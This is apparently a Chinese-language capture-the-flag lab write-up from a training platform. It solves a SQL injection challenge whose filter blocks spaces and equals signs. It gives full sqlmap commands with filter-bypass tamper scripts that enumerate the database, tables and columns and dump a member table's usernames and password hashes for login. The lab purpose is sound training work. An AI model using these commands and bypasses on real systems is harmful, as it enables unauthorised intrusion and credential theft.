【墨者学院】:SQL过滤字符后手工注入漏洞测试(第1题)


0x00.题目描述:

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Apache+PHP+MySQL,PHP代码对客户端提交的参数做了些许过滤。来感受过滤过后的SQL手工注入吧。

实训目标

1、掌握SQL注入原理;

2、了解手工注入的方法;

3、了解字符串的URL加解密;

4、了解SQL注入常用注释字符;

5、了解SQL查询中连接符和判断符的区别;

解题方向

手工进行SQL注入测试,获取管理密码登录。

0x01.解题思路:

靶场环境:

主界面


维护界面

经过测试,确定注入点在维护界面的URL链接的id参数中,并且后台有关键字以及特殊字符的过滤,等号以及空格被过滤,要做URL编码绕过。

手工注入:

手工注入没成功,仅仅是拿到了数据库名,后续的注入转编码太麻烦……所以还是上sqlmap。

sqlmap注入:

上sqlmap前,要先了解SQLMAP的绕过脚本使用,这题中使用到了三个绕过脚本:

1.charencode脚本:URL编码脚本;

2.equaltolike脚本:将等号转换为like脚本;

3.space2comment脚本:空格绕过脚本。

使用的方法:--tamper charencode,equaltolike,space2comment。

爆数据库名payload:python sqlmap.py -u "http://219.153.49.228:44260/new_list.php?id=1" --tamper charencode,equaltoli

ke,space2comment --dbs --batch

爆数据库名

爆表名payload:python sqlmap.py -u "http://219.153.49.228:44260/new_list.php?id=1" --tamper charencode,equaltoli

ke,space2comment -D mozhe_discuz_stormgroup --tables --batch

爆数据库表名

爆列名payload:python sqlmap.py -u "http://219.153.49.228:44260/new_list.php?id=1" --tamper charencode,equaltoli

ke,space2comment -D mozhe_discuz_stormgroup -T stormgroup_member --columns --batch


爆列名

爆字段payload:python sqlmap.py -u "http://219.153.49.228:44260/new_list.php?id=1" --tamper charencode,equaltoli

ke,space2comment -D mozhe_discuz_stormgroup -T stormgroup_member -C 'status,name,password' --dump --batch


字段

将status为1的密码MD5解密一下即可得到登录密码,接着登录拿key~

0x02.总结:

1.sqlmap使用脚本绕过还是很强大的,前提是要知道,后台是怎么过滤的,这个手工测试会比较好。

2.URL编码,很多在线的转码不是完全转码,比如说有些字母和数字是不转的,但是很多时候需要将关键字转码来进行绕过,这个需要注意!

你可能感兴趣的:(【墨者学院】:SQL过滤字符后手工注入漏洞测试(第1题))